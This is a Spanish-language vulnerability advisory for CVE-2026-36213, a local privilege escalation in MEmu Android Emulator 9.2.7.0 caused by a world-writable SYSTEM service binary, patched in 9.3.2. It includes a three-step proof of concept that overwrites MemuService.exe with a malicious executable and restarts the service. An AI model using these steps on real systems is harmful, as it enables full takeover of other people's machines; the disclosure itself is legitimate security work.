
CVE-2026-36213 | Escalada de Privilegios Local en el Emulador de Android MEmu 9.2.7.0 a través de Permisos de Binarios de Servicio Inseguros | Parcheado en 9.3.2
CVE-2026-36213 | Escalada de privilegios local en MEmu Android Emulator 9.2.7.0 mediante permisos inseguros en binario de servicio | Parcheado en 9.3.2
Una vulnerabilidad de escalada de privilegios local (LPE) en MEmu Android Emulator 9.2.7.0.
El servicio MEmuSVC se ejecuta como NT AUTHORITY\SYSTEM mientras que su binario es editable por cualquier usuario local, permitiendo un compromiso total del sistema.
| Campo | Detalles |
|---|---|
| CVE | CVE-2026-36213 |
| Producto | MEmu Android Emulator (MicroVirt) |
| Versión afectada | 9.2.7.0 y anteriores |
| Versión corregida | 9.3.2 |
| CWE | CWE-732 / CWE-269 |
| CVSS v3.1 | 7.8 ALTA AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| ATT&CK | T1574.010 |
MEmuService.exe está instalado como un servicio de Windows a nivel de SYSTEM con permisos NTFS inseguros:
icacls "C:\Program Files\Microvirt\MEmu\MemuService.exe"
BUILTIN\Users:(F) ← Cualquier usuario local tiene Control Total
Everyone:(F) ← Binario escribible por todos
:: Paso 1 - Verificar permisos vulnerables
icacls "C:\Program Files\Microvirt\MEmu\MemuService.exe"
:: Paso 2 - Reemplazar binario (como usuario con pocos privilegios)
copy malicious.exe "C:\Program Files\Microvirt\MEmu\MemuService.exe" /Y
:: Paso 3 - Reiniciar servicio
sc stop MEmuSVC && sc start MEmuSVC
:: Resultado: malicious.exe se ejecuta como NT AUTHORITY\SYSTEM
Disponible en: https://github.com/sec-zone/Hijack-service-binaries
Esta investigación se realizó con fines educativos bajo una política de divulgación responsable.
El autor no es responsable por el mal uso de esta información.
Nombre: Mohammad Hossein Ashofte Yazdi
Linkedin: https://www.linkedin.com/in/seczone64
Twitter: @sec_zone64
Correo electrónico: [email protected]